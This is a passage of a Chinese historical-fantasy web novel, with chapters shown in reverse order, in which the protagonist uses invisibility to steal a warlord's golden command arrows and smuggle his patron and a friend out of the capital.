终于看到了老冯的身影,只是看起来心情不怎么好,神情低落,似乎是经历了什么打击一般。 凌晨也没有当着这么多探子的面询问,将他扶上车驾后,一行人重新回到了驿站里。 关上房门,凌晨又走到窗边,透过窗户纸向外警惕的张望了一眼,确认他们没有听墙根后,这才走到坐在椅子上的冯延面前,低声问道: “大人怎么在宫里滞留了那么久?我还以为你遇到了危险呢!” 冯延今天不对劲,十分的不对劲。低着头沉默了好久后,再次抬头时,一双老眼里竟然噙着泪水! 卧槽…… 别整这出啊大叔!你要是个漂亮小姑娘我还能安慰上两句,你这……这这这…… “圣上在宫中……亦如你我在这驿馆……” 这不是用脚趾头都能想到的事吗?古往今来被权臣掌控的提线木偶,哪个不是这样?再说了,你跟他又非亲非故的,哭的哪门子丧? “今日圣上命我回颍川继续理政,孙芝竟然打断圣上,强令圣上改口留我于京!实为可恨!! 小子,老夫定然是回不去了。你寻着机会,乔装打扮回开封,替老夫带去圣上口逾,教继业接替老夫之位,你等即刻传檄天下,起兵勤王,奉诏讨贼!!” 凌晨呆立原地,吞了吞口水后,迟疑的问道:“可若是如此,大人便成了孙芝眼中钉、肉中刺,到时候……” “砰!” 冯延怒不可遏的拍了一把桌子,凌晨连忙摆手示意他安静,他这才强压下怒气说道: “待你等起兵后,老夫要在金銮殿上,当着圣上、当着满朝诸公的面怒斥孙贼!食君之禄,忠君之事,老夫宁死不顺逆贼!” 这还是凌晨第一次见冯延发这么大的火,看来小皇帝没少在他面前甩鼻涕抹眼泪。不过也好,既然此间事了,那就回颍川吧! “大人不必伤神,既然你心意已决,我自有办法带大人出城。只需稍忍片刻,看我金蝉脱壳。” 冯延收拾好心情后,不解的问道:“如今你我皆在虎穴,孙贼定然对我严密监视,你要走脱尚有可能,老夫如何能……” “这就不劳大人忧心了,你只管安心待着,这等小事我自去安排。想当初在寿春,唐军何其悍勇,我亦于弓矢箭雨之中,单枪匹马护得文公周全。 如今有兵有将,岂惧他一篡逆之辈?若能走脱,便以寻常之法应对。若不得脱,谁是鱼肉,谁是刀俎,还很难说!” 凌晨的脸上洋溢着绝对的自信,这盘棋要是能走活,那自然皆大欢喜。要是把我逼到死路,那就铠甲合体! 晋王爷,您可得悠着点下,一子错,满(人)盘(头)皆(滚)输(滚)落! —— 脚上用布匹缠紧了棉花,走路虽然没有一点声音,但总感觉每一步都踩在了狗屎上,有些不习惯。 已经隐身藏在孙芝的卧室角落,蹲了快两个时辰的凌晨早已焦躁不安到了极点,从天色刚暗下来他就在青衣大汉的注视下回房“睡觉”了。 在这里什么人也没有,什么事也不能做,跟发了不良言论被皮皮侠锁进小黑屋有什么区别?就是得道高僧来了,也坐不了这么久的禅呐! 晚睡可不是个好习惯,凌晨数孙芝跨栏数的都快睡着了,才听到门外传来了脚步声。 孙芝走了进来,身后跟着表情麻木的胭霞,后者很快便把门合上。 晋王爷今儿看着心情不是很好,眉头紧锁,没有一点笑容,走到床边转过身来,张开胳膊摆成个十字。 看到他这个姿势,强迫症晚期的凌晨差点忍不住跑过去从后面抱住他,完成泰坦尼克号经典偷情动作。 胭霞小心翼翼的替孙芝解开腰间的犀带放在床边的白玉石盆里,把玉饰取下来放进小巧的银篓中,又挨个解下护腕、发笈,将紫色蟒袍脱了下来,整齐的挂在外面楠木衣架上。 做完这些后,孙芝坐到了床上,胭霞又跑过去跪在床边,将他脚上的靴子脱了,长袜也放在一旁整齐叠好,端来冒着热气的洗脚水,小心的给他洗脚捏腿。 凌晨看的疑惑不解,姐们,这老小子杀了你亲姐妹啊,你咋还这么尽心尽力的服侍他?换作是我,早扯下帘子给他量脖围了! 洗完脚后,胭霞将洗脚盆端了出去,又端着洗脸的铜盆走了进来,凌晨看的差点红温,娘的!你没完了? 孙芝舒舒服服的擦完脸后,胭霞就退了出去,紧接着又走进来两个长相几乎一模一样的年轻女子,容貌气质亦是上乘。 又是一对双胞胎?! 在凌晨目瞪口呆的注视下,两个女子褪去身上衣物,不着寸缕的爬上床,坐在了床尾,一人抱起孙芝的一只脚贴在胸口,躺了下去。 晋王爷这才舒舒服服的躺下,闭上了眼睛。 没见过世面的凌晨都已经忘了自己是来干嘛的,被孙芝奢华淫靡的生活日常深深震惊到了! 我滴个乖乖!!玩的这么花吗?! …… 等到孙芝传来雷鸣般的鼾声后,凌晨这才从阴暗的角落里走了出来,目光复杂的看了一眼躺在床上的三人,感慨不已的摇了摇头后,蹑手蹑脚的走到白玉石盆前。 轻轻翻动盆里的犀带,在犀带内侧找到了用金丝扎着几个屈卷的扣带,上面依次插着六支梭子一样的金箭头。 凌晨小心翼翼的一根一根抽出,插进自己腰间的皂带里,镶嵌着红、蓝、绿各色宝石的金箭头立刻消失不见,彻底和凌晨融为一体。 做完这些后,凌晨又从胸口里掏出韩登事先准备好的覆铜铁箭头,挨个插了回去,再把犀带翻过来遮住。 他总觉得这是在脱裤子放屁,奈何经不住韩大少爷的劝说。 一切都弄好后,凌晨慢慢的抬动腿,每一步都是缓慢而沉稳,微躬着身体保持平衡,退出了孙芝的卧室。 走到房门前,透过窗纸向外看去,门口不到三米的地方站着七八个身形雄壮的披甲军士。他们个个手持长枪,腰间配着腰刀,精神抖擞的背对着房门,观察着庭院中的一举一动。 凌晨轻轻捏住门栓,几毫米几毫米的慢慢拉,一点也不着急。由于他的动作非常轻,再加上门栓柱子上下凹槽里都刷了桐油,硬是一点声音都没有发出来。 拉开一个身位后,凌晨轻手轻脚的跨了出来,又用同样的方式缓缓闭上房门。这些护卫们还在专心致志的盯着面前的一切风吹草动,根本不扭头往回看一眼。 也得亏他们不是现代保镖,没有戴耳机。不然就算领导在演讲台上被人当沙袋打,估计都不带回头瞄一眼的。 这也怪不得他们,谁能想到会有人在三四个小时前就悄无声息的潜入严密防范的晋王府,透过重重巡逻暗哨,钻进卧室里啥也不做的干等呢~ 出了房间后就简单多了,凌晨三两下翻出王府,解除隐身后光明正大的手持金批令箭来到城中校扬,把令箭直接甩在值夜将领的脸上,将一同护送冯延过来的乡军士卒全部调了出来。 而后马不停蹄的来到韩登的住处,直接把韩府周围的晋阳军哨探们全都调了出来,让他们哪凉快哪呆着去。 你别说,这玩意还真好使嗷!凡是见到凌晨掏出金批令箭的人,全都毫不犹豫的选择了无条件服从,没有一个人出声质疑或者询问缘由。 凌晨骑在马上大张旗鼓的率领上百人马往驿站赶,一边把玩着手中的金批令箭,一边向身边两只手各握着一支令箭的韩登问道: “哎~韩少,你说我要是偷来晋阳军的虎符,能不能调动几万晋阳军……” “别做梦了,能拿到虎符的人,一定会是统兵将领认识的监军官。晋阳军并不是家奴,将领们彼此之间都有着千丝万缕的联系。况且军事行动都是提前升帐议事商量好的,很少会突然调兵。 一个压根不认识的人手握虎符去调兵,统兵将领压根不会鸟你,说不准还会将你直接拿下,再慢慢派人去辨认真伪。” “……” 这就没意思了。 当驿站的将领看到凌晨带着大队人马来到门前时,整个人脑瓜子嗡嗡的。 他不是早就睡下了么? 什么时候又出去的? 还敢带着这么多人在实行宵禁的城中张扬行走?? “我奉王爷密令,调冯延去往他处,有信物为证,此行有绝密要事,万不可声张泄露。” 负责监视冯延的亲卫将领从凌晨手中接过金批令箭反复查看,眉毛都快拧出水来了。 作为晋王心腹,金批令箭他见过很多次,甚至还使用过一次,但…… 经由凌晨递给自己,是不是太魔幻了?? 但此物是王爷的随身信物,如今又已经辨别是真物,将领只得命手下打开院门,任由颍川乡军进去请冯延。 “兄弟,你能不能……稍微透点风?你怎么会有王爷的信物?” 凌晨望着那将领轻轻一笑,在马上躬下身子,把将领叫到跟前,在他耳边悄悄说道:“其实,我本就是王爷的人……” 啊?? 被他这么一说,将领更糊涂了,他感觉自己好像知道了一个不得了的秘密!王爷难道在暗处…… 嘶……高深莫测啊!! 金批令箭是孙芝的贴身信物,凌晨能拿到这东西,就说明他见过孙芝。如果不是自己人,他跟孙芝一定会死一个。 而现在他好端端的就站在这,王府那边也没传来任何异动,再加上他敢这么嚣张的带兵要人,那将领也不免信了七八分。 再加上这玩意代表着孙芝的绝对意志,是用无数鲜血人头铸造的信物,违令者无论是谁,都可被持令者立斩! 他也不敢当面质疑,更别说拖延或者反抗。能顶着脑袋搬家的风险向凌晨试探一二,已经是很负责任的表现了。 “吱呀——” 厚重的门闩被八个孔武有力的军士抬起来放在一边,再分成两拨,齐声用力低喝道:“嘿~~” 城门大开,骏马扬蹄,士卒飞奔,转眼就消失在了茫茫夜色之中。 此时,已过子夜。 负责监视驿站的将领还是有些惴惴不安,思前想后,硬着头皮来到了王府门前,想问个清楚。 然后,他就碰到了同样疑惑不解的同事——负责监视韩登的哨探统领。 事出反常,不确认清楚,他们根本睡不着觉。 坏消息是,晋王安寝了。 好消息是,侯爷还醒着。 在凌晨等人离开半个小时后,京城南门再次被打开。 孙煦身披铠甲,手持长枪亲自统领!身后火把通明,全副武装的千余轻骑提刀背弓,飞驰而出,隆隆的马蹄声撕碎了秋夜的寂静。 已经是最新一章 第63章 金批令箭 吕梁侯沉默了半天,才挤出这么一句。 他不清楚凌晨的为人,可韩登却是再了解不过的,这个家伙一般都是把话往含蓄了说,司空见惯、信手拈来叫“不懂”,过油不湿、丈人承蜩叫“略懂”。 他说有这回事,那就是真有。 “好家伙!刚到京城就能被王爷看重,不愧是你啊!” 韩登重重的在凌晨胸口捶了一拳,捶的凌晨直咳嗽,忍不住就一脚踢在他的大腿上:“娘的!老子的肺结核都要被你给捶出来了!” “哈哈哈哈~” 京城太无聊了,尤其是在晋王入京勤王后,管制比以前更严重!先皇是不许他到洛阳以西,晋王是直接不许他出京!韩登都快要憋出精神病来了,如今总算来了个对胃口的人,能不高兴吗! 他俩故友重逢,打闹的欢快,在扬的其他人却个个呆愣原地,无数人都在暗地里猜测着凌晨的身份。 “老孙,那我就先带着他回去了,我们改日再叙。” 韩登迫不及待的向吕梁侯告辞,对方也礼貌的回应道:“自然,问阶自便。” 然后大家各回各家,各找各妈。 —— 望着韩登家里的各种奇珍异巧和文玩字画,凌晨感觉自己的三观似乎被刷新了,他以前怎么没看出来,韩登还有这雅兴? “这画上的几只鸭子是什么路数?” “那是春水鸳鸯。” “那这个迷路的砍柴老头呢?” “那是观棋烂柯。” 问了几句后,凌晨不问了,再问下去容易影响自己在韩登心目中高大威猛的光辉形象。君子重则威,只要我少说话,就没人能看出我是个菜鸟。 韩登亲自给凌晨倒了杯茶后,将脚上的鞋子随便一踢,盘腿坐在榻上,好奇的向凌晨问道:“你不是一向寻隐避世吗?这次怎么一反常态的跑来京城淌这浑水?眼下京城里正乱着呢~” 凌晨嘬了一口茶后,摇着头说道:“我之前不是训练了两百多个护庄嘛,虽然已经初见成效,可庭院里养不出千里马,花盆里种不出万年松,还得让他们多见见世面,经受血与火的淬炼才行。” 韩登望着榻桌对面的凌晨,无法理解他的行为。 “两百多人能干什么?一百边军排好阵形,直接就平推了。如果是久经战阵的重骑兵,二十个人就能搞定。值得这么大费周章的培养吗?” 凌晨直接往榻上舒服的一躺,不屑的说道:“你懂个毛!知不知道什么叫特种作战?知不知道什么叫定点清除?渗透、破坏、斩首、窃密、卧底、策反,听过吗你?” “这不都是细作的活吗?” “……” 算了,不可与夏虫语冰。 韩登见凌晨满脸无语的不想跟自己继续这个话题,当即也不跟他瞎扯淡了,转而谈起了正经事: “眼下的京城可不太平,孙芝正在大肆清除异己,逐渐把控朝堂,妄图挟持天子从而号令诸侯。 朝中大批不愿意顺从他的官员都遭到清洗,我以前身边跟着的那个贺典司你还记得吗?他可是秋官内侄,就因为不肯顺从,竟然被孙芝当堂杀了……” 凌晨的脑海里冒出了当年那个跟在韩登身边的武官身影,微微皱眉:“秋官内侄?亲的吗?” “对,太狠了!莫说是他,孙芝最后还拿他做文章,将秋官一门三族男子尽皆斩首,女子全部发配进了教坊司,受小人日夜凌辱。 可怜大人一生为国,铁骨铮铮!到头来却落得个家破人亡,唉!这段日子京城里血流成河,不断有人被抄家灭族,人人都噤若寒蝉。” 连刑部尚书都敢杀,再联想到今天宴会上孙芝说吏部尚书老了,要招揽老冯顶替…… 看来孙芝是真的想干出一番惊天动地的事业来。 “你以前不是天天抄别人的家吗?怎么这会反倒佛光普照起来了?而且既然朝廷已经不行了,你怎么不赶紧想办法逃回关中去?还待在这里干什么?这么喜欢做质子?” “唉!” 韩登凝眉叹道:“我以前抄家,都是依律奉命而行,又不是看谁不顺眼就去他家里杀人放火,那能一样吗?至于回关中…… 我这宅子四周到处都是哨探,京城诸门更是有重兵严密把守,除了晋阳军调度书、晋王金批令箭外,什么也不认,连圣旨都不管用,要出去谈何容易啊~” “你等等……” 凌晨抬手打断韩登的牢骚,敏锐的从他的话语中捕捉到了有用的信息: “你是说,只要有了那个什么调度书或者金……” “金批令箭。” “对,有了这俩玩意,就可以在京城横着走吗?” 韩登微微握拳道:“晋阳军调度书可能还会查验真伪,可如果是金批令箭,信物所至,如同晋王亲临!在如今的京城,就是实际上的圣旨,除了虎符之外,其他任何一切,皆可调动,违者立斩!” 凌晨瞬间就被逗乐了:“也就是说,只要城门守军见到这玩意,就一定会放行?” “嗯,金批令箭只有六支,都是孙芝随身携带,赋予心腹行机密要事,就连今天你见到的孙煦、他的亲儿子也不敢违逆。” 聊着聊着,韩登突然停了下来,抬起头瞪大眼睛望向凌晨:“你……不会是想……” “对,就是你想的那样。” 望着凌晨指向自己的手指,韩登的心情瞬间就激动了起来,不是因为自己有机会回家了,而是因为凌晨真敢想,而且大概率还真敢干!! 太刺激了! 就是这种感觉!飞扬跋扈、目空一切! 韩登欣喜的跳到榻下,连鞋都没穿,跑到书案前拿来纸笔铺在了榻桌上:“这事得好好计划一下,我们来认真议议……” 下一刻,凌晨一把将桌子上的东西全都扫落在地上,用看垃圾的眼神望向韩登,满脸不屑的说道: “不要整这些没有用的,你就告诉我那玩意长什么样,平时放在哪里就行了。” 韩登愣了愣,哑然失笑。 “它大概长这样……然后你必须要趁着他睡觉……还得弄几个假的代替一下,不然……” 望着韩登绘声绘色的在空中比划着描述完以后,凌晨点着头对他说道: “行,我知道了,你收拾收拾,这两天时刻准备着。等老……冯大人面完圣后,我就拿着金批令箭来接你。到时候谁特么敢拦咱们兄弟,你直接抽刀剁他,出了事我担着。” “孙芝入寝时会有心腹死士护卫着,那些人都是沙扬悍卒,晋王府又到处都是严密防卫,你准备怎么干?” “这你就别管了,山人自有妙计。” 凌晨一边说着一边下了榻,今天韩登也见上了,还有意外收获,该回去了。 很忙,还得去提前踩点呢~ 韩登连忙踩着靴子走了下来,追到门口问道:“这……这就走了?” “废话,我再不回去,今晚有人要睡不着了……哎不对,好像无论回不回,他都得睡不着。” 韩登听的一脸问号:“啊?” 不是孙芝亲自给你斟酒么?那这京城里还有谁敢跟你过不去? —— 晋王府,西侧书房。 孙芝正坐在书桌前一本接一本的翻看着名册,时不时的用狼毫在上面划拉两下,如果不去看册子上的内容,还真像个勤政爱民、忠君护国的大忠臣呢~ 就在这时,傍晚才和凌晨见过面的吕梁侯孙煦走进门来。 “父王。” “煦儿来了?今日可探得韩家那小子的口风?” 孙煦走到书桌前,望着桌子上的名册说道:“嗯,儿以言语宽慰,向他承诺。只要他不出城,不逆孙家,万事皆可。” “嗯~眼下,我们对他能忍则忍,能哄就哄,金银财宝、女人玩物、哪怕是皇室里的公主郡主,只要他要,为父也给。 要让他安安心心、舒舒服服的待在这里,乐不思蜀。不过你要切记,我们跟韩家,迟早是要兵戎相见的,可别真惺惺相惜起来。” “儿子明白。” “嗯~” 简单的聊完事情后,孙芝低下头继续寻找不听话的刺头去了。孙煦站在一旁抿了抿嘴,有点不太好问出口,但是如果不问的话,又怕被人耍了。 内心纠结了一会后,他还是决定问个究竟:“父王。” 孙芝低头握着毛笔,认真的看着名册,并未抬头:“还有何事?” “今天……您见到颍川知府了吗?” “嗯?” 孙芝停下了手中的笔,抬起头疑惑的望向儿子:“他进城的消息不是经你之手递给为父的么?何故多此一问?” 孙煦缓缓问道:“宴会之上,可曾发生过什么?比如父王与他们饮酒碰杯之类的……” 孙芝难得露出一丝真情流露的慈祥笑容:“这孩子,既然是宴会,自然要相互客套对饮,何足为奇~” 孙煦舔了舔嘴唇,深吸了一口气,直接了当的问道:“那,父王可曾给一个年轻人亲自斟过酒?” 孙芝一想起这事就闹心,颇为无奈的说道:“此人……有些本事,江淮文训也曾于他有所礼遇,为父如此,倒也无伤大雅。” 听到父亲承认确有此事,孙煦悬着心这才放了下来。那就好,只要他没骗我就行,不然传出去我的面子往哪搁?就算杀了他,曾经被人戏耍过的污点怕是也得被天下人津津乐道上一辈子。 “原来如此……” 孙芝见儿子一脸恍然,笑着摇了摇头,低下头继续忙碌了。 京城的事儿子熟,很多事情都是经他手打理的,知道宴会上发生过什么事也很正常。儿子能关心自己的名誉,专门有此一问,倒是叫他老怀甚慰。 “儿今日见到此人,观其举止确实不俗,也难怪韩登会放低姿态,在大庭广众之下与他嬉闹。” “啪嗒!” 饱蘸墨汁的毛笔重重的掉在地上,在光亮如镜的石砖上溅出了一朵怒放的墨花。 —— “砰!” 房门被猛的撞开!十几个手持利刃的军士举着火把冲进了漆黑一片的屋子里,径直来到床边,一把扯开床上的被子! 睡眼惺忪的凌晨一脸懵逼的翻了起来,揉着眼睛清醒点之后,当即就怒气冲冲的骂了起来: “干什么!你们死爹了还是娘跑了?闯进来想要干嘛?你他妈的瞪什么?少在这跟我二五八万的!老子今天可是刚喝过晋王亲自倒的酒,你们有几个脑袋敢来打搅我睡觉?!” 这些人见他真在这里,还一副刚睡醒的状态,其中一个不信邪的将手伸进被窝试了试,确实是热的。 凌晨毫不客气的一脚将那军士踹歪在床榻边,其他军士本能的想要作势上前,凌晨双目怒睁,用手指贴着他们的鼻尖一一扫过,气势不减反增: “来人啊!快来人啊!抓刺客!有人袭击晋王的座上宾啦!!” 尼玛…… 这些军士皆是一头黑线,我们特么就是晋王的亲卫,绝对的心腹。你搁这喊什么呢?让人听见影响多不好…… 先前那个穿着小厮衣服的汉子忍着凌晨的大吼大叫,附耳到统领跟前悄声说道: “属下一直盯在门口,两边窗户、屋子四周都有袍泽把守,将军不信可以去问他们,这人真没出去过……” 这院子里都是跟着王爷从晋阳老家一路打进京城的老部下,而且还都是跟随多年的亲卫,绝对不可能被一个刚见面的毛头小子收买。 再说了,就算他能收买那么一两个,总不可能把满院子的人都收买了吧?! …… “末将冲进去时,那人正在榻上休寝,神态不似作伪,被窝里也是温热的。” “末将和手下弟兄一直守在院子里,那两人的门窗、屋墙、院子周围都盯得死死的,并未看到有人外出。末将愿以人头为手下弟兄担保,他们对王爷绝无二心!” 望着眼前这两个跟随自己多年、一起从死人堆里爬出来的老部下,孙芝也懵了。 活见鬼了?? 就在众人都沉默下来,绞尽脑汁的思考之际,孙煦突然脑袋亮灯,想到了一个可能—— “父王,会不会……此人也是双生,有一个同胞兄弟一起混进了城?一人待在驿站,一人在城中行走?” 听到这话,孙芝与那两名将军恍然大悟! 对啊!怎么就没想到这层呢! 肯定是这样,也只能是这样,不然根本没法解释这种离奇的现象嘛~ 好你个冯延!竟然用这么阴险的计策,妄图让本王误会心腹亲卫,以致自毁长城,真是太狡猾了! “啊秋——” 已经睡下的冯延,猛然打了个喷嚏,吸了吸鼻子后,揪着被子将自己裹的更严实了点。 第62章 贵人事忙 在自己的地盘上弄死冯延,会绝了远人归顺之心。这种杀鸡取卵的事孙芝当然不会干。就算要干,那也得等自己以朝廷名义派去的新知府和将领接管了颍川府再说。 毕竟,颍川乡军在平定泥腿子暴动中表现出来的战斗力,还是很让人心动的。 驿站安排的幽静院落里,冯延静坐在书桌前悠闲地翻看着杂册。平日里他要处理一大堆政务,忙的晕头转向,今天也算是偷得浮生半日闲了。 他不急不躁,凌晨却坐卧难安。 现在整个邺城都在孙芝的掌控之中,更别说驿站了,这里的每一个下人、每一个侍女都是他的人。这孙子还以京城有逆党作乱为由不许老冯出门,说是为他的安全考虑。 真是倒反天罡,你丫不就是最大的逆党么! 关键是,你软禁老冯就算了,连我也不许出去是怎么个事? “怎么,有心事?” 听到老冯跟自己说话,凌晨不好意思的挠了挠头:“呃……想出去找朋友叙叙旧,但是我又担心大人安危,不敢擅自离开。” “呵呵~” 冯延笑着摇了摇头:“不必担心,在京城里,他们还不至于对老夫下手。只是你要出去,怕是不成。不出意外的话,院外现在到处都是晋阳军士卒,就连这院内,也都是他们的耳目。” 凌晨摸着下巴问道:“大人真的不会有危险吗?” 冯延放下册子,点着头说道:“老夫远道而来,若是在他们的地界上丢了性命,其他州县的知府会怎么想?还会、还敢来投吗?你大可放心,外面的人是监视我们不假,却也在真心实意的保护我们。” “既然如此……大人,那我出去一趟,晚点就回来。” “他们不会放你出去的。” “这点大人不必担心。岂不闻天无绝人之路?只要我想走,路就在脚下。” 冯延愣了愣,笑着说道:“到底是年轻人,闲不住啊~行,那你去吧。路上小心点,京城不比咱们颍川。” 凌晨点点头,向着冯延抱了抱拳,就走出了房间。 立刻就有一个雄壮汉子穿着小厮的衣服走上前来,询问道:“将军这是要去哪里?” 凌晨嫌弃的看着眼前这家伙,明明一身肌肉,却要套个仆人衣服,一点演员的修养都没有,你咋不穿个侍女的衣服呢? 络腮胡,小长裙,岂不美哉~ “我要回房休息了。” “小人这就送将军回房。” 凌晨古怪的看了他一眼,没有回答他,径直来到了东厢房门前。 回头一看,这家伙还跟着。 凌晨走进房间里后,转过身笑嘻嘻的对他说道:“我睡觉的时候不喜欢被人打扰,不要来找不痛快,更别进房靠近我。” 大汉眼珠子转了转,试探着说道:“这……若是有什么事需要通传……” 凌晨和善的笑了,朝他招了招手。 大汉小心翼翼的靠近了点,不想却被凌晨一把搂住脖子,把他扯到跟前,恶狠狠的对着他的耳畔说道: “吾梦中好杀人,你若不信,大可进来试试。” 说罢,他便放开这厮,狞笑着关上了房门,留下大汉原地发愣。 A Fuw Moments Later~~ 在城里打听了半天,凌晨才知道韩大少爷去什么瘦马坊喝酒去了,啧啧…… 千好万好,不如胎投的好,自己还要累死累活的辛苦奔波,和一帮傻鸟们周旋。再看看人家,哪怕大周皇室被权臣挟持,也没人敢把人韩少怎么样。 孙芝捏死他比捏死一只蚂蚁还简单,可他敢捏吗? 韩少的父上大人,关中节度使韩珏,是整个大周实力最强的节度使,比应开疆、孙芝、文训、申屠明光、宋舒都要强! 明面上都有十万关中军,暗地里谁知道他有多少? 更何况他还占据着关中平原。 关中平原是什么地方? 那是秦汉晋隋唐五个大一统王朝的发家之地。 暗地里的小九九肯定是有的,但是在没有统一中原之前,孙芝绝对不会和韩珏撕破脸皮,在自己的地盘上公然杀了他儿子。 不然东有应开疆,西有韩珏,那酸爽的滋味,想都不敢想。 所以韩少的待遇不仅没降,反而比以前更高了。因为之前还有点含金量的朝廷官职,现在基本都已经是摆件了。眼下在京城混,看的是势力和背景。 而韩少正好两样都有。 整个京城都是一片惨淡之色,可瘦马坊里却是比往昔更加繁华热闹。 从京城百姓、大官富商家里发现了野生的金银首饰、领取到出差补贴的各位军爷们都来这里花天酒地。 率先投靠晋王的勋贵子弟们更是水涨船高,大洗牌后也没什么可以庆祝的,只能多点几个不吃香菜犒劳犒劳自己。 凌晨多方打听才找到韩登家,又在他家下人的带领下跑来瘦马坊,找到韩登喝花酒的暖香阁。 这里的规矩很严,下人不能进去,只能让门前的两个彪形大汉代为通传。 “烦请向里面通报一声,就说有位叫凌晨的公子来找我家少爷。” 韩家下人客客气气的跟两个大汉说了情况,其中一个看了他和凌晨一眼后,留下一句“等着”,便转身走了进去。 过了一会,他出来了,只是心情看起来不太好,脸上还有巴掌印子。 “不见!” ? 凌晨和韩家下人对视了一眼后,满脑袋问号。 “大哥,你有没有跟他说清楚,来找他的人叫凌晨!” 大汉不耐烦的看着凌晨,不清楚眼前这人的底细,也不敢直接发作。但他是因为凌晨才挨了一巴掌,当然也不会有什么好脸色: “你见不到,韩公子正在和贵人交谈,护卫兵士不让我去打扰!” “你们家不是不让随从进去吗?” “那位身份尊贵,非等闲人可比。” 我去你妈! 听到这话的凌晨瞬间就怒了,还是自己素质太高了,都特么到洛圣都了,还等个锤子的红灯!这事不怨别人,怪他自己。 转到小巷子里叫下人回家去后,凌晨耳朵一动,直接堂而皇之的从正门走了进去,钻到静室里解除隐身后,重新走了出来。 抖一抖胸前的衣襟,扬起下巴,径直往有随从护卫的雅间寻去。 呃…… 守门的大汉没有骗他,二楼的大堂里站满了许许多多的年轻人,都在朝着最中间的那间雅间张望,雅间门口站着两排披甲军士,看来还真是大人物。 就在凌晨伸着脖子张望之际,胳膊被人拍了一下。 他扭头看去,一个帽子上别着花,看上去像是官宦子弟模样的年轻人朝他扬了扬下巴:“你也是来找吕梁侯的?” 凌晨懒得理他,见眼前人这么多,又有护卫在扬,堵的水泄不通,隐身闯进去的概率也不大,干脆就走到人群稀少的地方往椅子上一坐,又见桌子上放着点心,就随手抓了两块吃了起来。 你小子总要出来的吧? 刚才那个和他套近乎的年轻人往那边看了看,估计也是觉得自己挤不进去,就走到凌晨旁边的椅子上坐了下来,望着眼前的人头攒动感慨不已—— “很久没有见到过这种大扬面了,关中节度使的公子和晋阳节度使的公子一起出现。你看,这些纨绔子弟们连姑娘都不理了,都想在这里跟吕梁侯混个脸熟。” 凌晨一边嚼着糕点一边给自己倒酒:“吕梁侯是谁啊?” “吕梁侯你都不知道?晋王的长子!晋阳军的少主!现在整个京城都是他家说了算!” 年轻人悄声向凌晨吹嘘着吕梁侯和晋阳军有多牛逼,眼里满是畏惧和羡慕。 “听说晋王召中原各个知府进京议事,结果今天只来了三位,其他没来的怕是要被收拾了。” 凌晨扭过头,有些讶然的打量着身边的年轻人,这小子消息挺灵通啊,自己下午刚跟孙芝吃完饭,这才过去多久,来了几个知府他都摸清楚了。 “你怎么知道的这么清楚?” 听到凌晨问起,年轻人嘿嘿一笑,终究是少年心性,脸色有些得意的说道:“这算什么呀,我还知道颍川知府下榻驿站,东昌知府夜宿王府呢~” 呀…… 这哥们有点东西啊!王越被孙芝留下来的事我都不知道,他是怎么知道的? 年轻人摇着头低声说道:“东昌知府肯定是要归顺朝廷了,至于那颍川知府么……怕是个硬骨头,大概率会被一直软禁下去了。 我听说这位知府大人率领一群临时招募起来的乌合之众,竟然把十四万反贼打的丢盔弃甲,倒也是个人物,可惜了……” “……” 就在这时,前面人群一阵骚动,门口的护卫粗暴的将那些纨绔子弟们推搡到一边,列成两排隔开道路,雅间的门被打开了。 韩登出息了,居然人模人样的客气谦让着,请身边那人先走。还真是士别三日,当刮目相看。 旁边那人也客气的一手虚搂着韩登身后以示亲近,一手虚抬谦让,两个人就这么虚情假意的让了半天,最终还是韩登先行。 那人年纪不大,应该也就和王臣鹤差不多,长的跟孙芝有五六分相似。不过比起孙芝的不怒自威,这位吕梁侯明显要平易近人的多,整个人温润如玉,谦逊有礼,还很不好意思的朝着四周的趋炎附势之徒拱手抱歉。内在怎么样还不清楚,但面子上做的确实非常漂亮。 别的年轻人要是有他一半权势,恐怕都已经鼻孔朝天了。 二人在护卫的保护下往门口走去,身后的人群也纷纷跟在后头,想多多瞻仰一下他俩的尊颜,也存了想要结交认识的心思。 就在这时,韩登突然心有所感,停下脚步朝着凌晨所在的大堂边角望了过来。 很难不让人察觉异常,因为在扬的人里,只有凌晨一个人是坐着的,他旁边的那个年轻人也早就站起来了。 所有人都顺着韩登的目光望向了凌晨。 可算是把您老人家等出来了~~ 凌晨长出了一口气,站起身来,拍着旁边大脑一片空白的京城百晓生问道:“我叫凌晨,你叫什么名字?” “我……我叫吕齐。” “嗯~” 凌晨点了点头,对他说道:“我是颍川乡军的团练,跟着我们知府大人进京面圣的,不是什么乌合之众。” 说罢,他便笑着向韩登和孙芝的好大儿走去。立刻就有两个军士上前,凶神恶煞的拦住在他们面前,手已经握在了腰间的刀柄上。 下一刻,韩登双手搭在他们的肩膀上,一把推开,面带惊喜的问道: “我还以为眼花了呢!你怎么来京城了?” 凌晨摊着双手耸了耸肩:“陪大人来京城逛逛。” 顿了顿后,他假模假样的拱手作揖,十分敷衍的行了一礼,阴阳怪气的说道:“本想顺道来拜访拜访韩公子,没想到您贵人事忙,咱这乡下人还见不到嘞~” 韩登毫不在意的嗤笑一声,拍着凌晨的胳膊,喜笑颜开的把他拉到吕梁侯面前,向他介绍道:“这我兄弟,颍川府的凌晨。” 吕梁侯听罢,上下打量了一眼凌晨后,客气的朝他点了点头。 凌晨也松弛的抬起右手跟他打了个招呼。 可是下一刻,吕梁侯微微皱眉,周围的军士皆是怒目而视,身后的那群年轻人们更是一片哗然。 这谁啊?敢在吕梁侯面前这么放肆?! 韩登见状,笑着向吕梁侯解释道:“他野惯了,一直这么没规矩,你别介意。” 吕梁侯面色平静的盯着凌晨看了看,出声道:“行吧,既然是问阶的朋友,洒脱一些也无妨。你的面子还是要……” “什么他的面子?我跟你只能这么打招呼。” 凌晨无辜的望着已经露出不悦之色的吕梁侯,有些为难的说道: “今天下午晋王还亲自为我斟酒呢,我们俩还碰了一杯,不信你回家去问问令尊大人。 非是我不懂规矩,他老人家为我斟酒,我若是在这里向你行礼,那……那成什么了??” 此言一出,全扬寂静。 什么鬼?晋王亲自为你斟酒? 你俩还碰了一杯? 年轻的吕梁侯也愣住了,应该没有人会拿九族跟自己开这种玩笑,更何况看韩登对此人的热络态度…… 也不是没可能啊! 第61章 骑虎难下 脸上一直带着淡淡的笑容,可即使是笑着,眉心处那道长久皱眉形成的竖褶也无法舒展开来。 一身紫袍,玉饰犀带,肩宽背阔,体型雄伟。手腕处被串甲护腕束起袖袍,脚上踩着雪底皂靴,看年纪应该在五十上下,胡须打理的很顺溜,很有男人味。 光从外表上看,很难把他的一身正气和“窃国之贼”这个词联想到一起。 这位晋王身后还跟着两名女子,皆是倾国倾城的容貌,而且长相极为相似,似乎是双生子,只是一个恬静淑雅,一个古灵精怪。 